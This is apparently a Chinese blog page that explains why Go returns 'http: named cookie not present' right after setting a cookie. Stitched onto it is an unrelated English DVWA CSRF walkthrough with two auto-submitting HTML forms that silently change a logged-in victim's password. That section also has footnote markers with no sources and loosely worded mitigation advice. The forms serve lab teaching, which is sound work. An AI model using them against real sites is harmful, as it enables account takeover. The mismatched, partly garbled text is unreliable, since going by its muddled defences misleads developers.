【Cookie】获取 Cookie 时,出现 http: named cookie not present

在Web开发时,我们经常与Cookie打交道,它被用作浏览器中存储的数据。Cookie是name:value的结构,name和value都为字符串。

cookie,简而言之就是在本地计算机保存一些用户的历史信息。

我们先分析存储Cookie的流程:

1.在首次访问网站时,浏览器发送请求中并未携带Cookie;

2.服务器处理浏览器发送的请求,此时我们使用代码来实现设置Cookie;

3.浏览器收到Set-Cookie后,会将Cookie保存下来;

4.下次再访问该网站时,HTTP请求头就会携带Cookie。

错误信息:http: named cookie not present  | 我们获取指定名称的cookie不存在

当浏览器没有存储Cookie时,我们强制去获取Cookie,肯定是找不到的,此时程序会返回错误:http: named cookie not present 。

结合我写的代码进行分析:

【思考:为什么,程序中第1行代码设置了Cookie,第2行代码紧接着获取刚才设置的Cookie,就会出现 http: named cookie not present ?】

答:原因很简单,回顾对cookie的认识,设置Cookie不等同于变量赋值,在程序中第一行代码给变量赋值,紧接着第二行代码就可以使用此变量的值,而设置Cookie则需要先响应给浏览器,浏览器在下次的请求中才会携带着刚才设置的Cookie。

总结:出现 http: named cookie not present 时,可能是因为浏览器并没有携带我们想要的Cookie。

解决cookie相关问题,要对cookie基础知识有一定的了解。

然后慢慢分析代码,确定问题,最后解决问题。 

参考文章:浏览器中Cookie的全面介绍 - 知乎

### DVWA CSRF Vulnerability Walkthrough and Explanation #### Understanding CSRF in DVWA Cross-Site Request Forgery (CSRF) is a type of attack that tricks the victim into submitting a malicious request. It forces an end user to execute unwanted actions on a web application in which they are authenticated[^1]. In DVWA, this vulnerability can be explored at different difficulty levels including Low, Medium, High, and Impossible. For the **Low level**, no token or any form of validation exists. An attacker could craft a simple HTML page with hidden fields mimicking the target's POST data structure: ```html <form action="http://192.168.112.188/dvwa/vulnerabilities/csrf/" method="POST"> <input type="hidden" name="password_new" value="hacked"/> <input type="hidden" name="password_confirm" value="hacked"/> <input type="submit" value="Change Password"/> </form> <script>document.forms[0].submit();</script> ``` At the **Medium level**, although there might not be strict anti-CSRF tokens implemented, other defenses such as checking HTTP referer headers may apply. However, these checks often prove insufficient against sophisticated attacks because attackers can manipulate browser behavior through various means like embedding images pointing to internal URLs within external pages[^2]. In more advanced scenarios—like those found under 'High' settings—the presence of unique per-session tokens makes exploitation significantly harder but still possible via techniques involving session fixation or exploiting XSS flaws elsewhere on the site. The ultimate goal when configuring security measures should always aim towards achieving what DVWA terms "Impossible". Here, comprehensive protections prevent successful forgery attempts by ensuring each legitimate operation includes unpredictable values tied directly back to individual sessions. #### Demonstrating Exploitation Process To demonstrate how one exploits CSRF vulnerabilities present in lower difficulties using DVWA: - Create an HTML file named `change_password.html` containing crafted forms targeting password change functionality. ```html <!-- Example for low-level CSRF --> <!DOCTYPE html> <html lang="en"> <head><title>Exploit Page</title></head> <body onload='document.getElementById("csrf").submit()'> <form id="csrf" action="http://target-ip-address/dvwa/vulnerabilities/csrf/" method="POST"> <input type="text" name="password_new" value="newpass"/> <input type="text" name="password_confirm" value="newpass"/> <input type="submit" name="Change" /> </form> </body> </html> ``` Upon loading this exploit page while logged into DVWA, it automatically submits the form changing your account’s credentials without explicit consent from you. #### Mitigation Strategies Against CSRF Attacks Implementing robust countermeasures involves several best practices: - Utilizing synchronized cookie patterns where requests must include both cookies and matching parameters sent along with them. - Generating cryptographically secure random numbers used once per transaction known as synchronizer tokens stored server-side during login then validated upon submission. - Employing double submit cookies strategy wherein clients send two copies of their session identifier – one inside standard Cookie header another explicitly included among submitted variables. --related questions-- 1. What specific mechanisms does DVWA implement across its varying CSRF challenge complexities? 2. How do modern frameworks address potential CSRF threats beyond traditional methods discussed here? 3. Can machine learning algorithms enhance detection rates for novel types of cross-site scripting attacks related to CSRF? 4. Are there real-world examples demonstrating effective bypasses around contemporary anti-CSRF implementations?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值